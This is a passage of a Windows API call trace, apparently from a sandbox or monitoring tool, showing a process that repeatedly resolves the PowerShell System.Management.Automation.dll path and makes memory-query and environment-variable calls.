lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.727] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.728] GetLastError () returned 0xcb [0058.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.729] GetLastError () returned 0xcb [0058.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.730] GetLastError () returned 0xcb [0058.731] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.731] GetLastError () returned 0xcb [0058.731] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.731] GetLastError () returned 0xcb [0058.731] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.731] GetLastError () returned 0xcb [0058.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.747] GetLastError () returned 0xcb [0058.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.748] GetLastError () returned 0xcb [0058.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.748] GetLastError () returned 0xcb [0058.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.748] GetLastError () returned 0xcb [0058.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.748] GetLastError () returned 0xcb [0058.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.748] GetLastError () returned 0xcb [0058.748] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.749] GetLastError () returned 0xcb [0058.755] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.772] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.772] GetLastError () returned 0xcb [0058.773] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.773] GetLastError () returned 0xcb [0058.776] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.776] GetLastError () returned 0xcb [0058.781] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.781] GetLastError () returned 0xcb [0058.788] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.788] GetLastError () returned 0xcb [0058.797] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.798] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.869] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.875] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.876] GetLastError () returned 0xcb [0059.252] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x396038 [0059.253] GetLastError () returned 0x0 [0059.254] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x3960c0 [0059.254] GetLastError () returned 0x0 [0059.364] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.407] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.410] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.410] VirtualQuery (in: lpAddress=0x25c3d4, lpBuffer=0x25d3d4, dwLength=0x1c | out: lpBuffer=0x25d3d4*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.438] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.438] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.438] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.438] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.438] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.438] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: lpAddress=0x25cd20, lpBuffer=0x25dd20, dwLength=0x1c | out: lpBuffer=0x25dd20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.439] VirtualQuery (in: 